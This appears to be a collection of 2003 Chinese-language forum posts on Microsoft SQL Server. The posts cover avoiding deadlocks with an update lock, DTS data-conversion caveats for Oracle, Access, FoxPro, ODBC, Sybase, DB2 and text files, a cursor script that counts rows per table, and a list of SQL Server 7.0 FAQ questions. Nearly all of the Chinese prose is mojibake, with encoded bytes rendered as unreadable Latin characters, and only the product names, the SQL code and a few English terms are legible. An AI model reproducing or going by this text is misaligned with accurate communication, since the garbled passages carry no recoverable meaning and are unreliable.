ÕâÖÖËÀËø±È½ÏÒþ±Î£¬µ«ÆäʵÔÚÉÔ´óµãµÄÏîÄ¿Öо­³£·¢Éú¡£
½â¾ö·½·¨:
ÈÃÓû§AµÄÊÂÎñ£¨¼´ÏȶÁºóдÀàÐ͵IJÙ×÷),ÔÚselect ʱ¾ÍÊÇÓÃUpdate lock
Óï·¨ÈçÏ£º
select * from table1 with(updlock) where ....
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:39
Êý¾Ý±ä»»ºÍת»»×¢ÒâÊÂÏî
ʹÓÃÊý¾Ýת»»·þÎñ (DTS) ת±ä»òת»»ÒìÀàÊý¾ÝºÍÄ¿µÄ·þÎñÆ÷Ö®¼äµÄÊý¾Ý֮ǰ£¬Ç뿼ÂDz»Í¬³ÌÐò¡¢Ìṩ³ÌÐòÒÔ¼°Çý¶¯³ÌÐòÖ§
³ÖÊý¾ÝÀàÐÍºÍ SQL Óï¾äµÄ·½Ê½µÄ±ä»¯¡£

µ±Ê¹Óà Microsoft&reg; SQL Server™ ×÷ΪÊý¾ÝԴʱ£¬Ç뿼ÂÇÏÂÁÐÊÂÏ

½« real Êý¾ÝÀàÐÍת»»Îª int Êý¾ÝÀàÐÍÒ²Ðí²»ÄÜ·µ»Ø¾«È·µÄÖµ£¬ÒòΪ SQL Server 2000 Ö»Ö§³Ö¾«È·¶ÈΪ 6 λÊý×ÖµÄ
real Êý¾ÝÀàÐÍ¡£ÀýÈ磬real ÐÍÊý×Ö 2147480000 ¿ÉÄÜÉú³É 2147480065 µÄ int Öµ¡£


´ÓÒ»¸öÎı¾Îļþ½« string (DBTYPE_WSTR) ÁÐת»»Îª date (DBTYPE_DATE) »ò time (DBTYPE_TIME) ÁÐʱ£¬OLE DB Êý¾Ýת
»»·þÎñ×é¼þÖ»½ÓÊÜÒ»ÖÖÈÕÆÚ»òʱ¼ä¸ñʽ (yyyy-mm-dd hh:mm:ss.fffffffff)¡£Ê¹ÓÃÈÕÆÚʱ¼ä×Ö·û´®×ª»»£¬»òÕßʹÓà CDate
º¯Êý±àÂë Microsoft ActiveX&reg; ½Å±¾×ª»»ÕýÈ·µØת»»ÈÕÆÚ¡£


SQL Server 2000 ²»Ö§³Ö OLE DB ÀàÐÍ DBTYPE_DATE »ò DBTYPE_TIME¡£SQL Server 2000 Ö»Ö§³Ö DBTYPE_DATETIME¡£


ÈôҪͨ¹ý¶à²½Öè·ÃÎÊÊý¾Ý£¬Çë±ÜÃâÔÚת»»¹ý³ÌÖÐʹÓà temp ±í¡£Ó¦Ê¹ÓÃÈ«¾Ö temp ±í»òÔÚ tempdb Öд´½¨ÓÀ¾Ã±í¡£


´Ó temp ±í·µ»ØÐеĴ洢¹ý³Ì²»ÄÜÓÃ×÷ת»»Ô´¡£¿ÉÒÔʹÓô洢¹ý³Ì´ÓÈ«¾Ö temp ±í»ò±í·µ»ØÐС£


ÔÚת»»Êý¾ÝÈÎÎñ¡¢Êý¾ÝÇý¶¯µÄ²éѯÈÎÎñ»ò DTS Éè¼ÆÆ÷ÖеÄÖ´ÐÐ SQL ÈÎÎñÖÐʹÓÃÁÙʱ±íʱ£¬Çë¼Çס£º²»ÄÜʹÓà Transact-
SQL Óï¾ä»òµ÷Óà temp ±íµÄ´æ´¢¹ý³Ì×÷ΪԴ¡£
¸ÃÏÞÖƲ¢²»Ó¦ÓÃÓÚ DTS Éè¼ÆÆ÷µÄÍⲿ¡£¿ÉʹÓÃͨ¹ý±à³Ì·½Ê½·ÃÎÊ SQL Server temp ±íµÄÔ´Óï¾ä»ò´æ´¢¹ý³Ì¡£

DTS µ¼Èë/µ¼³öÏòµ¼ºÍ DTS Éè¼ÆÆ÷
µ±Ê¹Óà DTS µ¼Èëµ¼³öÏòµ¼ºÍ DTS Éè¼ÆÆ÷´´½¨°üʱ£¬Ç뿼ÂÇÒÔÏÂÊÂÏ

DTS Óû§½çÃæÔÊÐí¹²ÏíÈÎÎñÖÐÏÖÓеÄÁ¬½Ó£¬µ«ÊÇͬһ¸öÁ¬½Ó²»ÄܼÈÓÃÔÚÒ»¸öת»»µÄÔ´ÖÐÓÖÓÃÔÚ¸Ãת»»µÄÄ¿µÄÖС£


ʹÓà DTS Éè¼ÆÆ÷»ò DTS µ¼Èë/µ¼³öÏòµ¼£¬ÓпÉÄÜΪһЩֻ×÷ΪÊý¾ÝÔ´µÄÌṩ³ÌÐòÖ¸¶¨Ö»¶Á»òÕýÔÚʹÓÃ״̬£¨ÀýÈ磬
Microsoft Access ºÍ ODBC DSN £©¡£µ¥»÷"Á¬½ÓÊôÐÔ"¶Ô»°¿òÖеÄ"¸ß¼¶"Ñ¡Ï£¬È»ºóÔÚ"¸ß¼¶Á¬½ÓÊôÐÔ"¶Ô»°¿òÖУ¬½«Ä£Ê½
ÊôÐÔÖµÉèÖÃΪ 1¡£


ʹÓà DTS µ¼Èë/µ¼³öÏòµ¼»ò DTS Éè¼ÆÆ÷´´½¨±íʱ£¬ÔÚÄ¿µÄµØÉÏ´´½¨µÄ±íµÄËùÓÐÕßΪµ±Ç°Óû§£¨Í¨³£ÊÇ dbo£©£¬ÓëË­ÊÇÔ´±í
µÄËùÓÐÕßÎ޹ء£Õ⽫²úÉúÕâÖÖÇé¿ö£ºdbo ÊÔͼÔÚÄ¿µÄµØ´´½¨Ò»¸ö±í£¬¶ø¸Ã±íµÄÃû³ÆÒѾ­´æÔÚ£¬´Ó¶øµ¼Ö³¢ÊÔʧ°Ü¡£


µ±Ê¹Óà DTS Éè¼ÆÆ÷¶¨ÒåÊý¾ÝÇý¶¯µÄ²éѯʱ£¬Êý¾ÝÄ¿µÄµØ±ØÐëÄܹ»Ö§³Ö OLE DB ICommand ½Ó¿Ú¡£ÓÉÓÚÕâÖÖÏÞÖÆ£¬ÀàËÆÎı¾
ÎļþµÄÄ¿µÄ²»±»Ö§³Ö¡£


Èç¹û text¡¢ntext ºÍ image ÀàÐ͵Ä×ֶγ¤¶È³¬¹ý 8388602 ×Ö½Ú£¬Ôò DTS µÄ¸´ÖÆ SQL Server ¶ÔÏóÈÎÎñ½«½Ø¶Ï³¬³öµÄ²¿
·Ö¡£DTS Éè¼ÆÆ÷»ò DTS µ¼Èë/µ¼³öÏòµ¼²»ÏÔʾÈκδíÎóÐÅÏ¢£¬¶øÊÇÏÔʾÈÎÎñÒѳɹ¦Íê³É¡£
ΨһµÄʧ°ÜָʾÊÇÒ»ÌõдÈëÈÕÖ¾ÎļþµÄÈÕÖ¾ÏûÏ¢£¬´ËÎļþµÄÃû³ÆΪ <server>.<database>.log£¬Î»ÓÚ"¸´ÖÆ SQL Server ¶Ô
ÏóÈÎÎñÊôÐÔ"¶Ô»°¿òµÄ"¸´ÖÆ"Ñ¡ÏËùÖ¸¶¨µÄ½Å±¾ÎļþĿ¼ÖС£´ËÈÕÖ¾ÏûÏ¢Ïêϸ˵Ã÷±íºÍÁУ¬µ«²»Ö¸³ö·¢Éú½Ø¶ÏµÄÐС£ÎÞÈÎ
ºÎ´íÎó¼Ç¼дÈë DTS ´íÎóÎļþ»ò SQL Server ÈÕÖ¾¡£

Microsoft SNA Server
µ±Ê¹Óà Microsoft SNA Server ×÷ΪÊý¾ÝԴʱ£¬Ç뿼ÂÇÏÂÁÐÊÂÏ

AS/400 ºÍ VSAM µÄ Microsoft OLE DB Ìṩ³ÌÐò²»Ö§³Ö DTS µ¼Èë/µ¼³öÏòµ¼ÓÃÀ´´´½¨»ò½Ø¶Ï±íµÄ SQL Óï¾ä¡£
Microsoft Access
ʹÓà Access ʱ£¬Ó¦¿¼ÂÇÏÂÁÐÊÂÏ

µ±´Ó SQL Server 2000 Öн«Êý¾Ýµ¼³öµ½ Microsoft Access 97 »ò¸üÔçµÄ°æ±¾ÖУ¬Access µÄ Microsoft OLE DB Ìṩ³ÌÐò
ÔÚÄÚ´æÖÐΪËùÓвåÈëÉèÖûº³åÇø£¬²¢ÇÒÖ»ÔÚ DTS µ¼Èë/µ¼³öÏòµ¼Íê³É²Ù×÷ʱÌá½»ËüÃÇ¡£½á¹ûÊÇ£¬¿ÉÒÔÔÚµ¼³ö´óÁ¿±íʱ£¬Ãæ
¶ÔÄÚ´æ½ÏСµÄÐÎÊÆ¡£È»¶ø£¬¿ÉÒÔͨ¹ý¹¹ÔìÔÚ¶à¸ö´«µÝÖз¢ËͽÏÉÙÐÐÊýµÄ SELECT Óï¾ä½â¾ö¸ÃÎÊÌâ¡£
Microsoft Visual FoxPro
Microsoft Visual FoxPro&reg; Ö»Ö§³Ö numeric Êý¾ÝÀàÐ굀 (15£¬9) ¾«¶È¡£Èç¹ûµ¼³öµ½ Visual FoxPro µÄÊý¾Ý³¬³ö¸Ã¾«
¶È£¬Ôò»á±»½Ø¶Ï²¢ËÄÉáÎåÈë¡£

Visual FoxPro ²»Ö§³Ö SELECT INTO Óï¾ä¡£


DTS ²éѯÉè¼ÆÆ÷Ö§³Ö Visual FoxPro INSERT VALUE Óï¾ä£¬µ«²»Ö§³ÖʹÓà SELECT Óï¾äµÄ INSERT Óï¾ä¡£


ODBC µÄ Microsoft OLE DB Çý¶¯³ÌÐòÎÞ·¨Ê¹Óà FoxPro ODBC Çý¶¯³ÌÐò½« BLOB дÈë Visual FoxPro£¬ÒòΪ Visual
FoxPro ²»Ö§³Ö¶¯Ì¬Óαꡣ
ODBC
µ±Á¬½Óµ½ ODBC Êý¾ÝԴʱ£¬Ç뿼ÂÇÏÂÁÐÊÂÏ

ODBC µÄ Microsoft OLE DB Ìṩ³ÌÐòÔÚÖ´Ðе¼³ö²Ù×÷ʱÐèÒªÒ»¸öÔÚ´øÓÐ BLOB Êý¾ÝÁеÄËùÓÐÄ¿±ê±íÉϵÄΨһ¼ü¡£


µ±Ê¹ÓôøÓÐ SQL Server ODBC Çý¶¯³ÌÐòµÄ ODBC µÄ Microsoft OLE DB Ìṩ³ÌÐòʱ£¬ÔÚ°²ÅÅ´øÓÐÔ´Ðм¯ÖÐÆäËüÊý¾ÝÀàÐ͵Ä
ÁÐÖ®ºó°²ÅÅËùÓÐ BLOB ÁС£¿ÉÒÔʹÓà SELECT Óï¾äÖØн« BLOB Áа²Åŵ½Ô´Ðм¯µÄĩβ¡£DTS µ¼Èë/µ¼³öÏòµ¼×Ô¶¯µØÖ´ÐиÃ
²Ù×÷¡£


ÖØÒª µ±Ê¹ÓôøÓÐ SQL Server ODBC Çý¶¯³ÌÐòµÄ ODBC µÄ Microsoft OLE DB Ìṩ³ÌÐòʱ£¬Çë³¢ÊÔÔ¤ÀÀ´øÓÐÁ¬½Óæ´íÎóµÄ
´æ´¢¹ý³Ìʧ°Ü¡£Èç¹ûʹÓà SQL Server µÄ Microsoft OLE DB Ìṩ³ÌÐò£¬¸ÃÎÊÌâ¾Í²»»á·¢Éú¡£

Èç¹ûÒ»¸öÓÃÓÚ SQL Server µÄ Microsoft ODBC Çý¶¯³ÌÐòÁ¬½ÓÓɶà¸öÏ̹߳²Ïí£¬´ËÁ¬½Ó¿ÉÄÜ»áʧ°Ü£¬²¢·µ»Ø´íÎóÐÅ
Ï¢"Connection is busy with results for another hstmt"£¨´ËÁ¬½ÓÕýæÓÚÆäËü hstmt µÄ½á¹û£©¡£ÔÚijЩÇé¿öÏ£¬Õ⽫
Ó°Ïìͨ¹ý DTS µ¼Èë/µ¼³öÏòµ¼Éú³ÉµÄ°ü¡£Ê¹ÓÃÒÔÏ·½·¨Ö®Ò»½â¾ö´ËÎÊÌ⣺
½« MaxConcurrentSteps ÊôÐÔÉèÖÃΪ1 ÒÔÏû³ý¾ºÕùµÄÏ̡߳£


´´½¨ÆäËüµÄ ODBC Á¬½ÓÒÔÏû³ýÁ¬½Ó¹²Ïí¡£


ʹÓÃÓÃÓÚ SQL Server µÄ Microsoft OLE DB Ìṩ³ÌÐò (SQLOLEDB) Á¬½ÓÊý¾Ý¿â¡£Èç¹ûÐèÒªÁ¬½Ó SQL Server 6.5 Êý¾Ý
¿â£¬ÔòÔËÐÐ Instcatl.sql ÒÔÆôÓÃͨ¹ýÓÃÓÚ SQL Server µÄ Microsoft OLE DB Ìṩ³ÌÐò½øÐзÃÎÊ¡£
Oracle
µ±Ê¹Óà Oracle ×÷ΪÊý¾ÝԴʱ£¬Ç뿼ÂÇÒÔÏÂÊÂÏ

ÓÃÓÚ Oracle µÄ Microsoft ODBC ºÍ OLEDB Çý¶¯³ÌÐòÖ§³Ö Oracle 7.3 BLOB Êý¾ÝÀàÐÍ£¬²»Ö§³Ö Oracle 8.0 Êý¾ÝÀàÐÍ¡£
ÀýÈ磬²»Ö§³Ö BLOB¡¢CLOB¡¢NCLOB ºÍ BFILE¡£


ÓÃÓÚ Oracle µÄ Microsoft OBDC Çý¶¯³ÌÐò²»Ö§³Ö½« Unicode ×Ö·û´®·¢Ë͵½ Oracle ·þÎñÆ÷ÖС£Oracle ÒªÇóÔÚ Unicode
×Ö·û´®Ç°¼ÓÉÏǰ׺×Öĸ N¡£


ÓÃÓÚ Oracle µÄ Microsoft OBDC Çý¶¯³ÌÐò²»Ö§³Ö Oracle number Êý¾ÝÀàÐ͵ĸºÏòËõ·Å¡£


ÓÃÓÚ Oracle µÄ Microsoft OBDC Çý¶¯³ÌÐò±¨¸æÎÞÖ¸¶¨¾«¶ÈµÄ Oracle number Êý¾ÝÀàÐ͵ij¤¶ÈΪ 20 λÊý×Ö¡£µ±´Ó
Oracle £¨²»¿¼ÂÇÄ¿µÄ£©Öе¼Èëʱ£¬Èç¹ûÓжàÓÚ 20 λµÄÊý×Ö£¬²¢ÇÒÈç¹ûÄ¿µÄ±í»¹²»´æÔÚ£¬¿ÉÄܱØÐëÊÖ¹¤µØÔö¼Ó¾«¶È¡£


ÔÚ±íÖÐ Oracle ½öÖ§³ÖÒ»¸ö LONG (BLOB) Êý¾ÝÁС£


²»Äܵ¼Èë»òµ¼³öÓµÓлìºÏ»òСдÃû³ÆµÄ Oracle ÁС£Ò²²»ÄÜͨ¹ýʹÓà Oracle ÁÐÃû³Æ£¨°üº¬Ê¹Óà DTS µ¼Èë/µ¼³öÏòµ¼µÄ¿Õ
¸ñ£©À´×ª»»»ò¸´ÖÆÊý¾Ý¡£Oracle ÒªÇó¾«È·Ö¸¶¨²¢ÒýÓÃÇø·Ö´óСдµÄÁÐÃû³Æ¡£


ÈôÒªÔÚ SQL Server 2000 ºÍ Oracle Ö®¼äÖ´Ðзֲ¼Ê½ÊÂÎñ£¬±ØÐëʹÓà Oracle 8.0.4.1 °æ±¾»ò¸üа汾¡£Óйظü¶àÐÅÏ¢£¬
Çë²Î¼û·Ö²¼Ê½ÊÂÎñ¡£


ÓÉÓÚÓÃÓÚ Oracle µÄ Microsoft OLE DB Ìṩ³ÌÐò²»Ö§³Ö IcommandWithParameters£¬ËùÒÔËü²»ÄÜÓÃ×÷Êý¾ÝÇý¶¯µÄ²éѯÈÎÎñ
µÄÄ¿µÄµØ¡£ÔÚ DTS Éè¼ÆÆ÷ÖÐʹÓôËÌṩ³ÌÐòʱ£¬×ª»»Êý¾ÝÈÎÎñ¡¢Êý¾ÝÇý¶¯µÄ²éѯÈÎÎñÒÔ¼°Ö´ÐÐ SQL ÈÎÎñÉϵÄ"²ÎÊý"°´Å¥
½«±»½ûÓá£
IBM AS/400 É쵀 DB2
µ±Á¬½Óµ½ DB2 Êý¾ÝԴʱ£¬Ç뿼ÂÇÒÔÏÂÊÂÏ

ÔÚ AS/400 ϵͳÉϲ»Ö§³Ö Unicode »ò BLOB¡£


ÔÚ AS/400 ·þÎñÆ÷Éϲ»ÄÜת»»ÈκÎÓÐ NULL ÁÐÖµµÄ±í£¬ÒòΪ AS/400 ÔÚÆä CREATE TABLE Óï¾äÖв»Ö§³Ö NULL Óï·¨¡£È»
¶ø£¬Èç¹û±à¼­ CREATE TABLE Óï·¨ÒÔÇå³ý¶Ô NULL µÄÒýÓÃʱ£¬Ôò¿ÉÒÔ·¢ËÍ NULL Öµ¡£AS/400 ²»Ö§³Ö NOT NULL£»Èç¹ûûָ
¶¨¾Í¼Ù¶¨Îª NULL¡£
ʹÓà Sybase ODBC Çý¶¯³ÌÐò
µ±Á¬½Óµ½Ò»¸ö Sybase ODBC Êý¾ÝԴʱ£¬Ç뿼ÂÇÒÔÏÂÊÂÏ

µ±Ê¹Óà DTS µ¼Èë/µ¼³öÏòµ¼½«Êý¾Ý´Ó SQL Server ת»»µ½ Sybase 11 °æ±¾Ê±£º
ĬÈÏÇé¿öÏ£¬SQL Server numeric (3,0) Êý¾ÝÀàÐÍÓ³ÉäΪ Sybase smallmoney¡£Îª±ÜÃâÊý¾Ý¶ªÊ§£¬Çë¸ü¸Ä´ËÉèÖá£


ĬÈÏÇé¿öÏ£¬SQL Server numeric (18,x »ò 19,x) Êý¾ÝÀàÐÍÓ³ÉäΪ Sybase money Êý¾ÝÀàÐÍ¡£Îª±ÜÃâÊý¾Ý¶ªÊ§£¬Çë¸ü¸Ä
´ËÉèÖá£


½«Êý¾ÝÒƶ¯µ½Ò»¸öÐ嵀 Sybase ±íʱ£¬Èç¹ûµ¥»÷ÁË"ÁÐÓ³ÉäºÍת»»"¶Ô»°¿òÖеÄ"È·¶¨"°´Å¥£¬Ïòµ¼»á·µ»Ø´íÎóÐÅÏ¢"±íÒÑ´æ
ÔÚ"¡£Ó¦¸ÃºöÂÔ´ËÏûÏ¢¡£


²»ÄÜʹÓà DTS µ¼Èë/µ¼³öÏòµ¼³ýÈ¥²¢ÇÒÖØд´½¨ Sybase ±í¡£±ØÐ벻ʹÓÃÏòµ¼À´Ö´Ðд˲Ù×÷¡£
DTS ²éѯÉè¼ÆÆ÷²»Ö§³Ö Sybase SQLAnywhere CREATE TABLE Óï¾ä¡£


ÓÉÓÚ SQLAnywhere Çý¶¯³ÌÐòÖеÄÏÞÖÆ£¬DTS µ¼Èë/µ¼³öÏòµ¼Ã¿´ÎÖ»Äܽ«Ò»¸ö±íÒƶ¯µ½ SQLAnywhere Êý¾Ý¿â¡£¿ÉÒÔʹÓÃ
DTS Éè¼ÆÆ÷À´¿Ë·þ´ËÏÞÖÆ¡£È»¶ø£¬ÒòΪ SQLAnywhere Çý¶¯³ÌÐò²»ÊÇ°²È«Ị̈߳¬ËùÒÔ£¬±ØÐ뽫ÿ¸ö±íµÄ Step ¶ÔÏóµÄ
ExecuteInMainThread ÊôÐÔÉèÖÃΪ True¡£


Èç¹û±íÖаüº¬ BLOB ÁУ¬Ôò²»Äܽ«´Ë±í¸´ÖƵ½ Sybase Ä¿µÄÖС£


Èç¹ûͨ¹ý±à³Ì·½Ê½´Ó Sybase Öи´ÖÆÒ»¸ö°üº¬ image Êý¾ÝÀàÐÍµÄ±í£¬Ôò¸ü¸ÄĬÈ쵀 BLOB ÉèÖûᵼÖÂʧ°Ü¡£
dBase ºÍ Paradox
µ±Á¬½Óµ½ dBase ºÍ Paradox Êý¾ÝԴʱ£¬Ç뿼ÂÇÒÔÏÂÊÂÏ

dBase ºÍ Paradox ÖеıíÃû³Æ±»ÏÞÖÆΪ°Ë¸ö×Ö·û¡£dBase ÖеÄÁÐÃû³Æ±»ÏÞÖÆΪ 10 ¸ö×Ö·û¡£
Îļþµ¼Èë»òµ¼³ö
µ±´ÓÎı¾Îļþµ¼Èë»òµ¼³öÊý¾Ýʱ£¬Ç뿼ÂÇÒÔÏÂÊÂÏ

ÔÚ char »ò varchar ÁÐÖе¼Èë»òµ¼³öÊý¾Ýʱ£¬Èç¹û¿Í»§¶Ë OEM ´úÂëÒ³Óë·þÎñÆ÷ÉϵĴúÂëÒ³²»Í¬£¬ÔòijЩÀ©Õ¹×Ö·û¿ÉÄܲ»
±»¸´ÖÆ¡£ÔÚ nchar »ò nvarchar ÁÐÖе¼Èë»òµ¼³öÊý¾Ýʱ£¬ËùÓÐ×Ö·û¾ùÄÜÕýÈ·¸´ÖÆ¡£


Èç¹û½« BLOB£¨°üÀ¨ SQL Server µÄ text ºÍ ntext Êý¾ÝÀàÐÍ£©Áе¼³öµ½¹Ì¶¨³¤¶ÈµÄÎı¾×Ö¶ÎÖУ¬Ôò½«Ä¬Èϳ¤¶ÈÉèÖÃΪ
BLBO ×ֶεÄ×î´ó³¤¶È£¨´óÔ¼ 2GB£©¡£Í¨¹ýÑ¡Ôñ½ÏСµÄµ«×ã¹»µÄ×ֶ㤶ÈÀ´·ÀÖ¹´ÅÅÌÒç³ö£¬»òÕßÔÚ¿ÉÄܵÄʱºòʹÓ÷ָô¸ñ
ʽ¡£


DTS ÖÐʹÓõÄÓÃÓÚÎı¾ÎļþµÄ OLE DB Ìṩ³ÌÐò²»ÄÜ´¦Àí³¬¹ýÁ½Õ××Ö½Ú (MB) µÄ BLOB Êý¾ÝÁС£
´úÂëÒ³¡¢ÅÅÐò¹æÔòºÍ·Ç Unicode Êý¾ÝÎÊÌâ
ʹÓà DTS ÔÚ¾ßÓв»Í¬´úÂëÒ³ºÍÅÅÐò¹æÔòµÄ SQL Server Êý¾Ý¿â¼ä¸´ÖÆÊý¾Ýʱ£¬Êý¾Ý¿ÉÄܻᶪʧ»òת»»²»ÕýÈ·¡£

Ϊ±ÜÃâ³öÏÖת»»ÎÊÌ⣬ӦÒÔ Unicode ÐÎʽ´æ´¢¹ú¼ÊÊý¾Ý¡£Ò»µ©×ª»»Îª Unicode ºó£¬±ã¿ÉºÜÈÝÒ׵ؽ«ÈκÎÅÅÐò¹æÔò»ò´úÂë
Ò³ÖеÄÊý¾Ý´«Ë͵½ÈκΠMicrosoft SQL Server 2000 »ò Microsoft SQL Server 7.0 Êý¾Ý¿â£¬¶ø²»»á³öÏÖÊý¾Ý¶ªÊ§»òת»»
²»ÕýÈ·ÕâÀàÎÊÌâ¡£

ÔÚ Microsoft SQL Server 2000 ÖУ¬ÅÅÐò¹æÔòÓë¾ßÌåµÄ´úÂëÒ³Ïà¹ØÁª²¢±»Ö¸Åɸø¸÷¸öÁС££¨Microsoft SQL Server 7.0
ʹÓõ¥¸öµÄĬÈÏ´úÂëÒ³ÇÒ²»Ö§³ÖÁм¶ÅÅÐò¹æÔò£©¡£Èç¹ûÓÃÓÚÔ´ÁкÍÄ¿µÄÁеĴúÂëҳƥÅ䣬Ôò·Ç Unicode Áв»»á·¢ÉúÊý¾Ý¶ª
ʧ¡£ÔÚ·Ç Unicode Áм临ÖÆÊý¾Ýʱ£¬Èç¹ûÔ´ÁÐÓëÄ¿µÄÁв»Æ¥Å䣬Ôò½«·¢ÉúÊý¾Ý¶ªÊ§¡£ÔÚijЩÇé¿öÏ£¬DTS Ö´ÐÐ×î¼ÑµÄÆ¥Åä
Ó³Éä¡£Èç¹ûÔ´´úÂëÒ³°üº¬µÄ×Ö·ûÔÚÄ¿µÄ´úÂëÒ³ÖÐδ³öÏÖ£¬Ôò½«·¢ÉúÊý¾Ý¶ªÊ§¡£´ËÍ⣬DTS Ö´Ðи´ÖÆʱ²»ÐèÒªÈκÎת»»¸É
Ô¤£¬Õ⽫µ¼ÖÂÔÚÁ½¸ö´úÂëÒ³Öв»ÊÇÓÉͬһ¸ö¶þ½øÖÆÖµ±íʾµÄÊý¾Ý¶ªÊ§¡£ÏÂÃæµÄÎÊÌâ¼°×¼Ôò·Ö±ðÕë¶ÔʹÓø´ÖÆ SQL Server
¶ÔÏóÈÎÎñµÄÇé¿ö£¬ºÍʹÓø´ÖÆÁÐת»»ÔÚ²»Í¬ÅÅÐò¹æÔò»ò´úÂëÒ³Ö®¼ä¸´ÖÆÊý¾ÝµÄÇé¿ö¡£

¸´ÖÆ SQL Server ¶ÔÏóÈÎÎñ
ÏÂÃæÂÛÊö¸´ÖÆ SQL Server ¶ÔÏóÈÎÎñÈçºÎ´¦Àí·Ç Unicode Êý¾Ý£º

ÔÚ SQL Server 2000 ʵÀý¼ä¸´ÖÆÊý¾Ýʱ£¬Ö»ÒªÉèÖø´ÖÆ SQL Server ¶ÔÏóÈÎÎñµÄ UseCollation ÊôÐÔ£¬±ã²»»á·¢ÉúÊý¾Ý¶ª
ʧ¡£


½«Êý¾Ý´Ó SQL Server 2000 ʵÀý¸´ÖƵ½ SQL Server 7.0 ʱ£¬¶ÔÓÚ¾ßÓÐÓëÊý¾Ý¿âĬÈÏÅÅÐò¹æÔò´úÂëÒ³ÏàÆ¥ÅäµÄÅÅÐò¹æÔòµÄ
ÁУ¬Ê¹ÓÃ×î¼ÑÆ¥ÅäÓ³Éä¡£¶ø¾ßÓв»Í¬´úÂëÒ³µÄÁÐÖÐËù´æ´¢µÄÊý¾Ý£¬Ôò±»½âÊÍΪÕýÔÚÓÃĬÈÏ´úÂëÒ³½øÐбàÂë´¦Àí£¬×ª»»¹ý³Ì
Öн«°éËæÊý¾Ý¶ªÊ§¡£


½«Êý¾Ý´Ó SQL Server 7.0 ¸´ÖƵ½SQL Server 2000 ʵÀýʱ£¬ÓÉÓÚ SQL Server 7.0 ÎÞ·¨È·¶¨ÆäĬÈÏ´úÂëÒ³ËùÓ³ÉäµÄÅÅÐò
¹æÔò£¬UseCollation ÊôÐÔ²»¿ÉÓá£Ö´Ðи´ÖÆ SQL Server ¶ÔÏóÈÎÎñÆڼ䲻֧³ÖÈκÎÅÅÐò¹æÔò£¬Òò´Ë£¬½«¸ø·Ç Unicode Ä¿
µÄÁÐÖ¸ÅÉÄ¿µÄÊý¾Ý¿âµÄĬÈÏÅÅÐò¹æÔò¡£Èç¹ûÓë´ËÅÅÐò¹æÔòÏà¹ØÁªµÄ´úÂëÒ³ÓëÔ´Êý¾Ý¿âµÄ´úÂëÒ³²»Æ¥Å䣬DTS ½«Ö´ÐÐ×î¼ÑÆ¥
ÅäÓ³Éä¡£


½«Êý¾Ý´Ó SQL Server 7.0 ¸´ÖƵ½ SQL Server 7.0 ʱ£¬Èç¹ûÔ´Êý¾Ý¿âºÍÄ¿µÄÊý¾Ý¿âʹÓò»Í¬µÄĬÈÏ´úÂëÒ³£¬DTS ½«Ö´ÐÐ
×î¼ÑÆ¥ÅäÓ³Éä¡£
ÈôҪȷ±£¸´ÖÆ·Ç Unicode ʱ²»·¢ÉúÊý¾Ý¶ªÊ§£¬¿ÉʹÓà SQL Server ´óÈÝÁ¿¸´Öƹ¦ÄÜÒÔ Unicode ¸ñʽµ¼³öÊý¾Ý£¬È»ºóʹÓÃ
´óÈÝÁ¿¸´ÖÆ»ò DTS µ¼ÈëÊý¾Ý¡£

ÈôÒª½ûÓÃĬÈÏÅÅÐò¹æÔò½Å±¾£¬ÇëÌí¼Ó´úÂë»òʹÓÃÍѽӱ༭»ò¶¯Ì¬ÊôÐÔÈÎÎñ½« SQLDMOScript2_70Only µÄÖµÌí¼Óµ½¸´ÖÆ SQL
Server ¶ÔÏóÈÎÎñµÄ ScriptOptionEx ÊôÐÔÖС£

¸´ÖÆÁÐת»»
ÏÂÃæÂÛÊö¸´ÖÆÁÐת»»ÈçºÎÔÚ²»Í¬´úÂëÒ³Ö®¼ä´¦Àí·Ç Unicode Êý¾Ý£º

Èç¹ûÔ´ÁÐΪ Unicode ¶øÄ¿µÄÁÐΪ·Ç Unicode£¬ÔòÖ´ÐÐ×î¼ÑÆ¥ÅäÓ³É䣬²¢³¢ÊÔÔÚÔ´ÁкÍÄ¿µÄÁÐÖ®¼äת»»Êý¾Ý¡£


Èç¹ûÔ´ÁÐΪ·Ç Unicode ¶øÄ¿µÄÁÐΪ Unicode£¬Ôò²»ÂÛʵ¼ÊʹÓõĴúÂëÒ³ÊÇʲô£¬DTS ¶¼½«Ô´ÁÐÊÓΪÊôÓÚ´úÂëÒ³ 1252¡£


Èç¹ûÔ´ÁкÍÄ¿µÄÁж¼Îª·Ç Unicode£¬Ô­Ê¼Êý¾Ý²»¾­×ª»»¼´±»¸´ÖÆ£¬½«·¢Éú²¿·ÖÊý¾Ý¶ªÊ§¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:39
ÈçºÎµÃµ½Ò»¸öÊý¾Ý¿âÖÐÿÕűíµÄ¼Í¼ÊýÄ¿
USE pubs -- ¿É¸Ä³ÉÄúµÄÊý¾Ý¿âÃû³Æ
SET NOCOUNT ON
DECLARE tables_cursor CURSOR
FOR
SELECT name FROM sysobjects WHERE type = 'U'
OPEN tables_cursor
DECLARE @tablename varchar(30), @quote char(1)
SELECT @quote = ''''

FETCH NEXT FROM tables_cursor INTO @tablename
WHILE (@@fetch_status <> -1)
BEGIN
EXEC ('Select ' + @quote+'Rows in ' + @tablename + ' = '+ @quote + ', count(*) from '+ @tablename)
FETCH NEXT FROM tables_cursor INTO @tablename
END
DEALLOCATE tables_cursor
SET NOCOUNT OFF
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:39
SQL Server 7.0 º¯Êý¼°SQLÓï¾äÏà¹ØÎÊÌâ
1 Òª½«Ò»¸öÊý¾Ý¿âµÄËùÓбí¸ñʹÓÃÅúͨÐųÌÐòÈ¡³ö£¨BCP OUT£©£¬ÓкνϿìµÄ·½·¨£¿
2 SQL Server 7.0ÏÞÖƵÄͬʱʹÓõıí¸ñºÍÊÓͼÊýĿΪ¶àÉÙ£¿
3 SQL Server 7.0ÓëSQL Server6.5µÄDMO°æ±¾²»Í¬£¬ÊÇ·ñ¿ÉÒÔÔÚSQL Server 7.0Ö´ÐÐSQL Server 6.5µÄ´æ´¢¹ý³Ì£¿
4 ΪºÎʹÓÃÅúͨÐųÌÐòµ¼È루BCP IN£©SQL Server 7.0 Datetime×Ö¶Îºó£¬ millisecond£¨Ç§·ÖÖ®Ò»Ã룩»áÓëµ¼ÈëÇ°µÄÖµ²»Í¬£¿
5 ΪʲôʹÓÃSQL Server 7.0µÄ±ê×¼²îº¯ÊýSTDEVʱ³öÏÖ"A domain error occurred"ÐÅÏ¢?
